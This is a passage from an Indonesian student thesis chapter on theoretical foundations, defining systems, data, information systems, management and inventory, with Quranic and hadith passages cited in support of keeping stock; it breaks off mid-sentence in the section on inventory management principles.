BAB II
LANDASAN TEORI
2.1 Pengertian Rancang Bangun
Perancangan/ rancang merupakan serangkaian prosedur untuk
menerjemahkan hasil analisa dan sebuah sistem ke dalam bahasa pemrograman untuk
mendeskripsikan dengan detail bagaimana komponen-komponen sistem yang
diimplementasikan. Sedangkan pengertian pembangunan/ bangun sistem adalah
kegiatan menciptakan sistem baru maupun mengganti atau memperbaiki sistem yang
ada baik secara keseluruhan maupun sebagian (Pressman, 2002).
2.2 Data
Data secara ringkas dapat diartikan sebagai kumpulan fakta mentah yang ada
dalam kehidupan. Data mencerminkan segala kejadian yang ada di dunia. Contohnya
seorang siswa tersusun dari data-data berikut: Nama, Alamat, Nama Wali Murid,
Hobi, Nilai dan seterusnya. Ciri lain dari data adalah data belum memiliki manfaat
untuk manusia, karena data hanya berupa carikan-carikan kenyataan yang belum
disusun untuk memberikan manfaat (Akbar, 2006). Data merupakan bentuk jamak
dari bentuk tunggal datum. Data adalah kenyataaan yang menggambarkan suatu
kejadian-kejadian dan kesatuan nyata. Kejadian-kejadian adalah suatu yang terjadi
pada saat tertentu di dalam dunia bisnis adalah perubahan dari suatu nilai yang
disebut transaksi. Misalnya, penjualan adalah transaksi perubahan nilai barang
menjadi nilai uang atau nilai piutang dagang. Dari definisi dan uraian tersebut dapat
disimpulkan bahwa daya adalah bahan mentah yang diproses untuk menyajikan
informasi (Sutabri, 2005).
Untuk lebih jelasnya, lihat gambar berikut ini.
Gambar 2.1 Pemrosesan Data (Sutabri, 2005)
Mengenai pengertian data, lebih jelas apa yang didefinisikan oleh Drs. John J.
Lunkutoy tahun 2005 dalam bukunya “Pengenalan Komputer” sebagai berikut:
“Istilah data adalah suatu istilah majemuk yang berarti fakta atau bagian dari fakta
yang mengandung arti yang dihubungkan dengan kenyataan, symbol-simbol, gambar-
gambar, angka-angka, huruf-huruf, atau symbol-simbol yang menunjukkan suatu ide,
objek, kondisi, atau situasi dan lain-lain. Jelasnya data itu dapat berupa apa saja dan
dapat ditemui dimana saja. Kemudian data adalah sebagai bahan dasar yang objektif
(relatif) didalam proses penyusunan kebijaksanaan dan keputusan oleh pemimpin
organisasi”
Penyimpanan data
Informasi Data
proses
11
2.3 Sistem Informasi
2.3.1 Sistem
2.3.1.1 Pengertian Sistem
Sistem dapat diartikan sebagai sekelompok unsur yang erat hubungannya satu
dengan yang lain, yang berfungsi bersama-sama untuk mencapai tujuan tertentu
(Sutabri, 2005). Sistem juga dapat didefinisikan sebagai satu kesatuan yang terdiri
dari dua atau lebih komponen atau subsistem yang berinteraksi untuk mencapai
tujuan (Jogiyanto, 2002).
Suatu sistem dapat terdiri atas sistem-sistem bagian (subsyterm). Masing-
masing yang lebih kecil lagi atau terdiri atas subsistem-subsistem yang lebih kecil
lagi atau terdiri atas komponen-komponen. Subsistem-subsistem saling berinteraksi
dan berhubungan membentuk satu kesatuan sehingga tujuan atau sasaran sistem
tersebut tercapai.
2.3.1.2 Karakteristik Sistem
Model umum sebuah sistem adalah input, proses, dan output. Hal ini
merupakan konsep sebuah sistem yang sangat sederhana sebab sebuah sistem dapat
mempunyai beberapa masukan dan keluaran. Selain itu, sebuah sistem memiliki
karakteristik atau sifat-sifat tertentu, yang mencirikan bahwa hal tersebut bias
dikatakan sebagai suatu sistem (Sutabri, 2005).
Adapun karakteristik yang dimaksud adalah sebagai berikut:
1) Komponen Sistem (Components)
Suatu sistem terdiri atas sejumlah komponen yang saling berinteraksi, artinya
saling bekerja sama membentuk satu kesatuan. Komponen-komponen sistem
tersebut dapat berupa suatu bentuk subsistem. Setiap subsistem memiliki sifat
dari sistem yang menjalankan suatu fungsi tertentu dan mempengaruhi proses
sistem secara keseluruhan. Suatu sistem dapat mempunyai sistem yang lebih
besar, yang disebut “supra sistem”
2) Batas Sistem (Boundary)
Ruang lingkup sistem merupakan daerah yang membatasi antara sistem dengan
sistem yang lain atau sistem dengan lingkungan luarnya. Batasan sistem ini
memungkinkan suatu sistem dipandang sebagai satu kesatuan yang tidak dapat
dipisah-pisahkan.
3) Lingkungan Luar Sistem (Environment)
Bentuk apapun yang ada diluar lingkup atau batasan sistem yang mempengaruhi
operasi sistem tersebut disebut lingkungan luar sistem. Lingkungan luar sistem ini
dapat bersifat menguntungkan dan dapat juga merugikan sistem tersebut.
Lingkungan luar yang menguntungkan merupakan energy bagi sistem tersebut.
Dengan demikian, lingkungan luar tersebut harus tetap dijaga dan dipelihara.
Lingkungan luar yang merugikan harus dikendalikan. Kalau tidak maka akan
mengganggu kelangsungan hidup sistem tersebut.
4) Penghubung Sistem (Interface)
Media yang menghubungkan sistem dengan subsistem lain disebut penghubung
sistem atau interface. Penghubung ini memungkinkan sumber-sumber daya
mengalir dari satu subsistem ke subsistem lain. Bentuk keluaran dari satu
13
subsistem akan menjadi masukan untuk subsistem lain melalu penghubung
tersebut. Dengan demikian, dapat terjadi suatu integrasi sistem yang membentuk
satu kesatuan.
5) Masukan Sistem (Input)
Energi yang dimasukkan ke dalam sistem disebut masukkan sistem, yang dapat
berupa pemeliharaan (maintenance input) dan sinyal (signal input). Contoh, di
dalam suatu unit sistem komputer. “Program” adalah maintenance input yang
digunakan untuk mengoperasikan komputernya dan “data” adalah signal input
untuk diolah menjadi informasi.
6) Keluaran Sistem (Output)
Hasil energi yang diolah dan diklasifikasikan menjadi keluaran yang berguna.
Keluaran ini merupakan masukan bagi subsistem yang lain. Contoh, sistem
informasi. Keluaran yang dihasilkan adalah informasi. Informasi ini dapat
digunakan sebagai masukan untuk pengambilan keputusan atau hal-hal lain yang
menjadi input bagi subsistem lain.
7) Pengolahan Sistem (Process)
Suatu sistem dapat mempunyai suatu proses yang akan mengubah masukkan
menjadi keluaran. Contoh, sistem akuntansi. Sistem ini akan mengolah data
transaksi menjadi laporan-laporan yang dibutuhkan oleh pihak manajemen.
8) Sasaran Sistem (Objective)
Suatu sistem memiliki tujuan dan sasaran yang pasti dan bersifat deterministic.
Kalau suatu sistem tidak memiliki sasaran, maka operasi sistem tidak ada
gunanya. Suatu sistem dikatakan berhasil bila mengenai sasaran atau tujuan yang
telah direncanakan.
2.3.1.3 Klasifikasi Sistem
Sistem merupakan suatu bentuk integritas antara satu komponen dengan
komponen lain, karena sistem memiliki sasaran yang berbeda untuk setiap kasus yang
terjadi yang ada di dalam sistem tersebut (Sutabri, 2005). Oleh karena itu, sistem
dapat diklasifikasikan dari beberapa sudut pandang, diantaranya adalah:
1) Sistem abstrak dan sistem fisik
Sistem abstrak adalah sistem yang berupa pemikiran atau ide-ide yang tidak
tampak secara fisik, misalnya sistem teologia, yaitu sistem yang berupa pemikiran
hubungan antara manusia dengan Tuhan, sedangkan sistem fisik merupakan
sistem yang ada secara fisik, misalnya sistem computer, sistem produksi, sistem
penjualan, sistem administrasi personalia, dan lain sebagainya.
2) Sistem alamiah dan sistem buatan
Sistem alamiah adalah sistem yang terjadi melalui proses alam, tidak dibuat oleh
manusia, misalnya sistem perputaran bumi, terjadinya siang dan malam, dan
pergantian musim. Sedangkan sistem buatan manusia merupakan sistem yang
melibatkan interaksi manusia dengan mesin, yang disebut human machine system.
Sistem informasi berbasis computer merupakan contoh human machine system
karena menyangkut penggunaan komputer yang berinteraksi dengan manusia.
3) Sistem determanistik dan sistem probabilitas
15
Sistem yang beroperasi dengan tingkah laku yang dapat diprediksi disebut sistem
deterministic. Sistem komputer adalah contoh dari sistem yang tingkah lakunya
dapat dipastikan berdasarkan program-program kompter yang dijalankan.
Sedangkan sistem yang bersifat probabilistic adalah sistem yang kondisi masa
depannya tidak dapat diprediksi karena mengandung unsur ketidakpastian.
Misalnya sistem persediaan.
4) Sistem terbuka dan sistem tertutup
Sistem tertutup merupakan sisten yang tidak berhubungan dan tidak berpengaruh
oleh lingkungan luarnya. Sistem ini bekerjaa secara otomatis tanpa campur
tangan pihak luar. Sedangkan sistem terbuka adalah sistem yang berhubungan
dan dipengaruhi oleh lingkungan luarnya. Sistem ini menerima masukan dan
menghasilkan keluaran untuk subsistem lainnya.
2.3.2 Informasi
2.3.2.1 Pengertian Informasi
Informasi adalah data yang telah dikalsifikasikan atau diolah atau
diinterpretasi untuk digunakan dalam proses pengambilan keputusan (Sutabri, 2005).
Dalam pengertian lain informasi adalah hasil pengolahan data yang dapat
memberikan manfaat kepada manusia (Akbar, 2006). Menurut Davis diambil dalam
buku Mulyanto informasi juga dapat didefinisikan sebagai data yang telah diolah
menjadi bentuk yang lebih berarti dan berguna bagi penerimanya untuk mengambil
keputusan masa kini maupun yang akan datang (Mulyanto, 2009).
Fungsi utama informasi adalah menambah pengetahuan atau mengurangi
ketidakpastian pemakai informasi. Informasi yang disampaikan kepada pemakai
mungkin merupakan hasil data yang dimasukkan ke dalam pengolahan model
keputusan.
2.3.2.2 Nilai dan Kualitas Informasi
Nilai informasi ditentukan oleh 2 (Dua) hal, yaitu manfaat dan biaya untuk
mendapatkannya. Suatu informasi dikatakan bernilai bila manfaat lebih efektif
dibandingkan dengan biaya mendapatkannya (Sutabri, 2005)
Lebih lanjut, sebagian besar informasi tidak dapat persis ditafsir
keuntungannya dengan suatu nilai uang, tetapi dapat ditafsir nilai efektivitasnya.
Pengukuran nilai informasi biasanya dihubungkan dengan analisa cost effectiveness
atau cost benefit. Nilai informasi ini didasarkan atas 10 (sepuluh) sifat, yaitu:
(1) Mudah diperoleh
Sifat ini menunjukkan mudahnya dan cepatnya informasi yang dapat diperoleh.
Kecepatan memperoleh dapat diukur, misalnya 1 menit versus 24 jam. Akan
tetapi, beberapa nilainya bagi pemakai informasi sulit mengukurnya.
(2) Luas dan Lengkap
Sifat ini menunjukkan lengkapnya sifat informasi. Hal ini tidak berarti hanya
mengenai volume-nya, akan tetapi juga mengenai keluaran informasinya.
(3) Ketelitian
17
Sifat ini berhubungan dengan tingkat kebebesan dari kesalahan keluaran
informasi.
(4) Kecocokan
Sifat ini menunjukkan betapa baik keluaran informasi dalam hubungannya
dengan permintaan para pemakai.
(5) Ketepatan Waktu
Sifat ini berhubungan dengan waktu yang dilalui yang lebih pendek dari pada
siklus untuk mendapatkan informasi.
(6) Kejelasan
Sifat ini menunjukkan keluaran informasi yang bebas dari istilah-istilah yang
tidak jelas.
(7) Keluwesan
Sifat ini berhubungan dengan disesuaikannya keluaran informasi tidak hanya
dengan lebih dari satu keputusan, tetapi juga dengan lebih dari seorang pengambil
keputusan.
(8) Dapat dibuktikan
Sifat ini menunjukkan kemampuan beberapa pemakai informasi untuk menguji
keluaran informasi dan sampai pada kesimpulan yang sama.
(9) Tidak Ada Prasangka
Sifat ini berhubungan dengan tidak adanya keinginan untuk mengubah informasi
guna mendapatkan kesimpulan yang telah dipertimbangkan sebelumnya.
(10) Dapat diukur
Sifat ini menunjukkan hakekat informasi yang telah dihasilkan dari sistem
informasi formal.
Kualitas suatu informasi tergantung dari 3 (tiga) hal yaitu, informasi
harus akurat (accurate), tepat waktu (timelines), dan relevan (relevance) (Sutabri,
2005). Penjelasan tentang kualitaas informasi tersebut akan dipaparkan dibawah ini.
1) Akurat
Informasi harus bebas dari kesalahan-kesalahan dan tidak bias atau menyesatkan.
Akurat juga berarti informasi harus jelas mencerminkan maksudnya. Informasi
harus akurat karena dari sumber informasi sampai ke penerima informasi
kemungkinan banyak terjadi gangguan yang dapat merubah atau merusak
informasi tersebut.
2) Tepat pada Waktunya
Informasi yang datang pada penerima tidak boleh terlambat. Informasi yang
sudah using tidak akan mempunyai nilai lagi, karena informasi merupakan
landasan dalam pengambilan keputusan. Bila pengambilan keputusan terlambat,
maka akan berakibat fatal bagi suatu organisasi.
3) Relevan
Informasi tersebut mempunyai manfaat untuk pemakainya. Relevansi informasi
untuk tiap-tiap orang satu dengan lainnya berbeda.
19
2.3.3 Sistem Informasi
2.3.3.1 Pengertian Sistem Informasi
Sistem informasi adalah suatu sistem didalam suatu organisasi yang
mempertemukan sauatu kebutuhan pengolahan transaksi harian yang mendukung
fungsi operasi organisasi yang bersifat manajerial dengan kegiatan strategi dari suatu
organisasi untuk dapat menyediakan informasi kepada pihak luar tertentudengan
laporan-laporan yang diperlukan (Sutabri, 2005).
Sistem informasi adalah suatu komponen yang terdiri atas manusia, teknologi
informasi, dan prosedur kerja yang memproses, menyimpan, menganalisis, dan
menyebarkan informasi untuk mencapai suatu tujuan (Mulyanto, 2009).
2.3.3.2 Komponen Sistem Informasi
Sistem informasi terdiri atas komponen-komponen yang disebut blok
bangunan (building block), yang terdiri atas blok masukan, blok model, blok
keluaran, blok teknologi, blok basis data, dan blok kendali (Sutabri, 2006).
1) Blok masukan (input block)
Input mewakili data yang masuk ke dalam sistem informasi. Input disini termasuk
metode dan media untuk menangkap data yang dimasukkan, yang dapat berupa
dokumen-dokumen dasar.
2) Blok Model (model block)
Blok ini terdiri dari kombinasi prosedur, logika, dan model matematik yang akan
memanipulasi data inout dan data yang tersimpan di basis data dengan cara yang
sudah ditentukan untuk menghasilkan keluaran yang diinginkan.
3) Blok Keluaran (output block)
Produk dari sistem informasi adalah keluaran yang merupakan informasi yang
berkualitas dan dokumentasi yang berguna untuk semua tingkatan manajemen
serta semua pemakai sistem.
4) Blok Teknologi (technology block)
Teknologi merupakan “tool box” dalam sistem informasi. Teknologi digunakan
untuk menerima input, menjalankan model, menyimpan dan mengakses data,
menghasilkan dan mengirimkan keluaran, dan membantu pengendalian dari
sistem secara keseluruhan..
5) Blok Basis Data (database block)
Basis data (database) merupakan kumpulan data yang saling berkaitan dan
berhubungan satu dengan yang lain, tersimpan di perangkat keras computer dan
menggunakan perangkat lunak untuk manipulasinya.
6) Blok Kendali (control block)
Banyak hal yang dapat merusak sistem informasi, seperti bencana alam, api,
temperatur, air, debu, kecurangan-kecurangan, kegagalan-kegagalan sistem itu
sendiri, ketidak efisienan, sabotas, dan lain sebagainya.
Komponen sistem informasi menurut pandangan lain terdiri dari lima sumber
daya yang dikenal sebagai komponen sistem informasi. Kelima sumber daya tersebut
adalah manusia, hardware, software, data, dan jaringan. Kelima komponen tersebut
memainkan peranan yang sangat penting dalam suatu sistem informasi (Mulyanto,
2009). Namun, dalam kenyataannya, tidak semua komponen sistem informasi
21
mencakup kelima komponen tersebut. Misalnya, sistem informasi pribadi yang
mencakup jaringan telekomunikasi.
2.3.3.3 Jenis Sistem Informasi
Manajemen membutuhkan informasi untuk mendukung pengambilan
keputusan yang akan dilakukan. Sumber informasi untuk pengambilan keputusan
manajemen bisa didapat dari informasi eksternal dan informasi internal. Informasi
internal dapat diperoleh dari sistem informasi yang berupa hasil pengolahan data
elektronik (PDE) atau non PDE (Sutabri, 2005).
Beberapa sistem informasi fungsional yang umuk sebagai berikut (Kadir,
2003).
(1) Sistem Informasi Akuntansi
Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi
akuntansi. Sistema ini mencakup semua transaksi yang berhubungan dengan
keuangan dalam perusahaan.
(2) Sistem Informasi Keuangan
Sistem informasi yang menyediakan informasi pada fungsi keuangan yang
menyangkut keuangan perusahaan.
(3) Sistem Informasi Manufaktur
Sistem informasi yang bekerja sama dengan sistem informasi lain untuk
mendukung menajamen perusahaan dalam menyelesaikan masalah yang
berhhubungan dengan produk atau jasa, yang dihasilkan perusahaan.
(4) Sistem Informasi Pemasaran
Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi
pemasaran.
(5) Sistem Informasi SDM
Sistem informasi yang menyediakan informasi yang dipakai oleh fungsi
personalia.
2.4 Manajemen
2.4.1 Pengertian Manajemen
Manajemen adalah suatu proses atau kegiatan yang menjelaskan apa yang
dilakukan manajer pada operasional organisasi mereka untuk merencanakan,
mengorganisasikan, memprakarsai, dan mengendalikan operasi (Sutabri, 2005).
2.4.2 Bentuk Kegiatan Manajemen
Kegiatan manajemen dihubungkan dengan tingkatannya di dalam organisasi.
Kegiatan manajemen tingkat atas, menengah, dan bawah adalah berbeda. Kegiatan-
kegiatan manajemen mempengaruhi pengolahan informasi karena informasi yang
dibutuhkan berbeda untuk masing-masing tingkatan. Kebutuhan informasi yang
berbeda itu dapat diketahui dari masing-masing kegiatan manajemen tersebut
(Sutabro, 2005). Kegiatan manajemen untuk masing-masing tingkatan dapat
dikategorikan sebagai berikut:
(1) Perencanaan Strategis
23
Merupakan kegiatan manajemen tingkat atas (top manager). Perencanaan
strategis adalah proses evaluasi lingkungan organisasi, penetapan tujuan
organisasi, dan penentuan strategi-strategi.
(2) Pengendalian Manajemen
Pangendalian manajemen adalah proses meyakinkan bahwa organisasi telah
menjalankan strategis yang sudah ditetapkan dengan efektif dan efisien.
(3) Pengendalian Operasi
Pengendalian operasi adalah proses meyakinkan bahwa setiap tugas tertentu telah
dilaksanakan secara efektif dan efisien. Pengendalian operasi ini merupakan
proses penerapan program yang telah ditetapkan di pengendalian manajemen.
2.5 Persediaan (Inventory)
2.5.1 Pengertian Persediaan
Persediaan merupakan bahan baku atau barang yang disimpan untuk tujuan
tertentu, antara lain untuk proses produksi, jika berupa bahan mentah maka akan
diproses lebih lanjut, jika berupa komponen (spare part) maka akan dijual kembali
menjadi barang dagangan (Yolanda, 2005).
Barang persediaan atau disebut inventory adalah barang-barang yang biasanya
dapat dijumpai di gudang tertutup, lapangan, gedung terbuka, atau tempat-tempat
penyimpanan lain, baik berupa bahan baku, barang setengah jadi, barang jadi,
barang-barang untuk keperluan suatu proyek (Eko & Djoko, 2003).
2.5.2 Fungsi Persediaan
Persediaan dapat memiliki fungsi penting menambah fleksibilitas dari operasi
suatu perusahaan. Fungsi dasar persediaan sebenarnya sangat sederhana, yaitu
meningkatkan profitability prusahaan (Yolanda, 2005).
Bagi sebagian perusahaan kebijakan persediaan yang aman adalah memiliki
persediaaan dalam jumlah banyak, tetapi ternyata hal akan menyebabkan tingginya
biaya untuk penyimpanan dan pembelian bahan atau barang yang bersangkutan,
sedangkan kelebihan persediaan juga akan menyebabkan banyaknya dana yang
terserap dalam persediaan sehingga tidak efisien. Sebaliknya, bila persediaan terlalu
sedikit akan beresiko kekurangan bahan baku atau barang. Hal ini akan mengganggu
kelancaran proses produksi, selain itu juga biaya pembelian dan biaya persediaan
juga semakin besar.
Selain fungsi dasar persediaan, ada beberapa fungsi persediaan yang lainnya,
yakni fungsi wilayah, fungsi decoupling, dan fungsi penyeimbang dengan permintaan
(Yolanda, 2005).
1) Fungsi Pemisahan Wilayah, merupakan spesialisasi ekonomis antara unit
pembuatan (manufacturing) dan unit distribusi yang dibagikan dalam wilayah-
wilayah yang ditangani.
2) Fungsi decoupling, merupakan fungsi suatu produk yang diproses dan
didistribusikan dalam ukuran yang ekonomis.
3) Fungsi penyeimbang dengan permintaan. Persediaan berfungsi untuk
menyeimbangkan kebutuhan konsumsi dengan produksi, agar kebutuhan
25
konsumsi dapat dipenuhi dengan lancer dari proses produksi yang dilakukan.
Sifat permintaan dapat bersifat stabil atau musiman.
2.5.3 Klasifikasi Barang Persediaan
Barang persediaan dapat dibagi atas beberapa jenis atau klasifikasi. Sekurang-
kurangnya ada 6 (enam) klasifikasi utama (Eko & Djoko, 2003), yaitu:
1) Bahan Baku (raw materials)
Bahan mentah yang belum diolah, yang akan menjadi barang jadi sebagai hasil
utama dari perusahaan yang bersangkutan.
2) Barang Setengah Jadi (semi finished products)
Hasil olahan bahan mentah sebelum menjadi barang jadi, yang sebagian akan
diolah lebih lanjut menjadi barang jadi, dan sebagian kadang-kadang dijual
seperti apa adanya untuk menjadi bahan baku perusahaan lain.
3) Barang Jadi (finished products)
Barang yang sudah selesai diproduksi atau diolah, yang merupakan hasil utama
perusahaan yang bersangkutan dan siap untuk dipasarkan/ dijual.
4) Barang Umum dan Suku Cadang (general materials and spare parts)
Segala jenis barang atau suku cadang yang digunakan untuk operasi menjalankan
perusahaan/ pabrik dan untuk memelihara peralatan yang digunakan. Seringkali
barang persediaan jenis ini disebut juga barang pemeliharaan, perbaikan, dan
operasi, atau MRO Materials (maintenance, repair, and operation).
5) Barang Untuk Proyek (Work in Progress)
Barang-barang yang ditumpuk menunggu pemasangan dalam suatu proyek baru.
6) Barang Dagangan (commodities)
Barang yang dibeli, sudah merupakan barang jadi dan disimpan di gudang
menunggu penjualan kembali dengan keuntungan tertentu.
Dalam logistic terdapat jenis persediaan yang lain misalnya sebagai berikut
(Yolanda, 2005).
(1) Pipeline, merupakan persediaan yang masih dalam proses persediaan. Persediaan
ini biasa juga disebut intransit inventory. Terdapat dua jenis persediaan pipeline,
yaitu tujuan FOB (FOB destination), merupakan barang yang masih menjadi
tanggung jawab pengirim sampai diterima ke tujuan. Kedua, sumber FOB(FOB
origin) barang menjadi tanggung jawab penerima setelah barang dikirim.
(2) Speculation, merupakan persediaan yang dibeli untuk tujuan spekulasi, karena
adanya sifat permintaan musiman. Misalnya, pedagang sebulan sebelum hari raya
sering melakukan penumpukan barang dengan harapan dapat menjual dengan
harga tinggi pada hari raya.
(3) Regular atau cyclical, merupakan yang digunakan untuk memenuhi kebutuhan
rutin, baik kebutuhan yang digunakan proses produksi maupun kebutuhan lain.
(4) Safety Stock, perseediaan yang sering dikaitkan dengan besarnya permintaan
berubah-ubah dan ketidakteraturan waktu tunggu (lead time). Untuk
mengantisipasi keadaan tersebut, perusahaan perlu menyiapkan persediaan
pengaman (safety stock). Persediaan pengaman adalah tambahan persediaan dari
jumlah biasanya sebesar rata-rata kondisi persediaan dan lamanya waktu tunggu.
27
Jumlah jenis barang umum dan suku cadang ini untuk tiap perusahaan sangat
bervariasi, dari hanya puluhan sampai ratusan ribu. Ford, misalnya mempunyai
barang persediaan jenis 1 (bahan baku) dan 2 (bahan setengah jadi) sebanyak kurang
lebih 450.000 item, dan Pertamina misalnya, mempunyai barang persediaan jenis 4
(barang umum dan suku cadang) sebanyak sekitar 400.000 item, tentu saja makin
banyak jenisnya, makin rumit permasalahan dan pengelolaannya. Contoh barang
persediaan jenis keempat ini (Eko & Djoko, 2003) adalah:
1) Barang Umum
a. Cat (paints);
b. Sekrup dan baut (bolts and nuts)
c. Kerangan (values);
d. Pipa (pipes);
e. Slang (hoses);
f. Alat keselamatan dan pemadam kebakaran (fire and safety apparatus).
2) Suku Cadang:
a. Suku cadang untuk turbin (turbines);
b. Suku cadang untuk mesin (engine);
c. Suku cadang untuk kompresor (compressor);
d. Suku cadang untuk pompa (pump);
e. Suku cadang untuk pembangkit listrik (generator);
f. Suku cadang untuk ketel uap (boiler).
Contoh barang dagangan untuk perusahaan seperti supermarket yang bergerak
di bidang jual-beli segala jenis keperluan rumah tangga seperti Carrefour, Metro, dan
Hero:
1) Makanan kaleng;
2) Buah-buahan;
3) Daging dan ikan segar;
4) Barang-barang untuk cucian;
5) Minuman botol dan kaleng.
2.5.4 Anjuran Persediaan Dalam Islam
Islam menerangkan dalam sebuah dalil dalam Surat Yusuf ayat 43-49 yang
berbunyi:
29
Yang artinya:
43. Raja berkata (kepada orang-orang terkemuka dari kaumnya): "Sesungguhnya
aku bermimpi melihat tujuh ekor sapi betina yang gemuk-gemuk dimakan oleh
tujuh ekor sapi betina yang kurus-kurus dan tujuh bulir (gandum) yang hijau dan
tujuh bulir lainnya yang kering." Hai orang-orang yang terkemuka:
"Terangkanlah kepadaku tentang ta'bir mimpiku itu jika kamu dapat mena'birkan
mimpi."
44. Mereka menjawab: "(Itu) adalah mimpi-mimpi yang kosong dan Kami sekali-
kali tidak tahu menta'birkan mimpi itu."
45. Dan berkatalah orang yang selamat diantara mereka berdua dan teringat
(kepada Yusuf) sesudah beberapa waktu lamanya: "Aku akan memberitakan
kepadamu tentang (orang yang pandai) mena'birkan mimpi itu, Maka utuslah aku
(kepadanya)."
46. (setelah pelayan itu berjumpa dengan Yusuf Dia berseru): "Yusuf, Hai orang
yang Amat dipercaya, Terangkanlah kepada Kami tentang tujuh ekor sapi betina
yang gemuk-gemuk yang dimakan oleh tujuh ekor sapi betina yang kurus-kurus
dan tujuh bulir (gandum) yang hijau dan (tujuh) lainnya yang kering agar aku
kembali kepada orang-orang itu, agar mereka mengetahuinya."
47. Yusuf berkata: "Supaya kamu bertanam tujuh tahun (lamanya) sebagaimana
biasa; Maka apa yang kamu tuai hendaklah kamu biarkan dibulirnya kecuali
sedikit untuk kamu makan.
48. Kemudian sesudah itu akan datang tujuh tahun yang Amat sulit, yang
menghabiskan apa yang kamu simpan untuk menghadapinya (tahun sulit), kecuali
sedikit dari (bibit gandum) yang kamu simpan.
49. Kemudian setelah itu akan datang tahun yang padanya manusia diberi hujan
(dengan cukup) dan dimasa itu mereka memeras anggur."
Allah Menceritakan dalam mimpi yang dialami oleh raja sebagai sarana untuk
mengeluarkan Yusuf dari penjara secara terhormat dan terpandang. Raja merasa
bingung oleh mimpinya ini dan dia heran terhadap persoalannya. Maka dia
mengumpulkan para dukun, pembesar kerajaan, dan para gubernur. Dia menceritakan
mimpi itu kepada mereka. Namun mereka tidak mengetahui takbirnya. Mereka
berdalih kepadda raja dengan mengatakan, “Itu adalah mimpi yang kosong,” yakni
mimpi yang kacau,” dan kami sekali-kali tidak tahu mentakbirkan mimpi itu,”
sehingga walaupun mimpi itu benar maka kami tidak mengetahui takbirnya.
Kemudian si pemuda yang dahulu menerima pesan dari Yusuf agar dia menceritakan
ihwal dirinya kepada raja teringat akan Yusuf. Kemudian, setelah dia melupakan soal
Yusuf, berkata, “Aku akan menceritakan kepadamu takbir mimpi itu, maka utuslah
aku,”Yakni, maka utuslah aku untuk menemui Yusuf yang sangat jujur ke penjara.
Mereka mengirimkannya. Pemuda itu pergi. Dia berkata,”Yusuf, hai orang yang amat
dipercaya, terangkanlah kepada kami.” Si pemuda menceritakan mimpi itu. Pada saat
itulah Yusuf menceritakan takbirnya. Yusuf tidak bersikap keras kepada si pemuda
itu atas kelalaiannya untuk menceritakan pesannya kepada raja. Di berkata,”Yakni,
kamu akan mengalami masa subur. Hujan turun tujuh tahun berturut-turut. Yusuf
31
menakbirkan sapi dengan tahun karena sapi itu suka digunakan untuk mengelola
tanah guna menanam buah-buahan dan palawija
Kemudian Yusuf mengarahkan mereka dalam menghadapi masa yang akan
mereka lewati itu. Maka dia berkata,”Maka apa yang kamu tuai hendaklah kamu
biarkan dibulirnya kecuali sedikit untuk kamu makan.”Simpanlah hasil panen
gandum selama tujuh tahun itu pada bulir-bulirnya supaya awet dan tidak cepat rusak
kecuali sebagian kecil saja untuk kamu makan. Hendaklah kamu makan sedikit demi
sedikit sertaa janganlah berlebihan agar kamu dapat menggunakannya pada masa
tujuh tahun peceklik, yaitu tahun paceklik yang akan terjadi secara terus-menerus.
Tahun paceklik ini digambarkan melalui sapi kurus yang memakan sapi gemuk. Hal
ini karena pada tahun paceklik dimakan persediaan yang dikumpulkan pada tahun
subur yang digambarkan melalui tujuh bulir yang kering.
Yusuf memberitahukan kepada mereka bahwa pada tahun kering itu tidak akan
tumbuh apapun. Apa yang mereka tanam tidak akan menghasilkan apapun. Oleh
karena itu, dia berkata,”Menghabiskan apa yang kamu simpan untuk menghadapinya
kecuali sedikit dari yang kamu simpan. “Kemudian Yusuf menggembirakan mereka
bahwa setelah tahun kemarau yang berturut-turut itu akan diakhiri oleh satu tahun
yang pada manusia diberi hujan yang menyuburkan negeri. Manusia dapat memeras
apa yang dahulu biasa mereka peras seperti zaitun, tebu, dan termasuk di dalamnya
memerah susu. “Da di masa itu mereka memeras.”
Dalam ayat tersebut bermakna agar manusia dapat melakukan penyimpanan
untuk makan mereka sehari-hari agar ada yang tetap bisa dimakan di kemudian hari.
(Ringkasan Tafsir Ibnu Katsir)
Dalam sebuah hadits juga dijelaskan:
Abdullah bin Abdurrohman Ad-Damiriy bercerita kepadaku yahya
bin hasan bercerita kepada kami bahwa Sulaiman bin Bilal bercerita kepada
kami, dari Hisyam dari bapaknya dari Aisyah bahwasanya Nabi SAW
bersabda tidaklah lapar sebuah keluarga yang di sisi merke itu kurma.
Bercerita kepada kami oleh Abdullah bin Maslamah bin Ko’nab bercerita
kepada kami, Ya’kub bin Muhammad bin Tholhah dari Abi Rizal
Muhammad bin Abdirrahman dari ibunya. Dari Aisyah dia berkata :
Rasulullah SAW. ”Wahai Aisyah Rumah yang tidak memiliki persediaan
kurma didalamnya niscaya keluarga tertimpa kelaparan, atau keluarganya
akan lapar. Nabi bersabda kepadanya sampai dua atau tiga kali.
33
Dalam hadits ini menerangkan pentingnya persediaan, agar
manusia mempunyai persediaan baik itu makanan dan minuman ataupun
kebutuhan lainnya.
(Shahih Muslim Syara’ Imam Nawawi)
2.6 Manajemen Persediaan (Inventory Management)
2.6.1 Pengertian Manajemen Persediaan
Manajemen persediaan (inventory management) atau disebut juga dengan
inventory management atau pengendalian tingkat persediaaan adalah kegiatan yang
berhubungan dengan perencanaan, pelaksanaan, dan pengawasan penentuan
kebutuhan material sedemikian rupa sehingga di satu piihak kebutuhan operasi dapat
dipenuhi pada waktunya dan di lain pihak investasi persediaan material dapat ditekan
secara optimal (Eko & Djoko, 2003).
2.6.2 Prinsip Manajemen Persediaan
Seperti sudah disinggung di atas secara singkat, mengenai persediaan barang,
ada jenis prinsip pengelolaan yang harus dianut, (Eko & Djoko, 2003) yakni:
“Penentuan jumlah dan jenis barang yang disimpan dalam persediaan haruslah
sedemikian rupa sehingga produksi dan operasi perusahaan tidak terganggu,
tetapi di lain pihak sekaligus harus dijaga agar biaya investasi yang timbul dari
penyediaan barang tersebut seminimal mungkin”.
Prinsip tersebut memang selaras dengan prinsip ekonomi, yaitu:
“Menghasilkan keluaran tertentu dengan biaya seminimal mungkin, atau dengan
biaya tertentu menghasilkan keluaran semaksimal mungkin”
Hal ini memang demikian karena pada hakikatnya, soal manajemen
persediaan adalah soal keputusan atau manajamen ekonomi perusahaan.
Kalau melihat prinsip pengelolaan persediaan tadi, maka jelas bahwa
diperlukan perpaduan antara dua hal yang sangat bertolak belakang. Cara yang paling
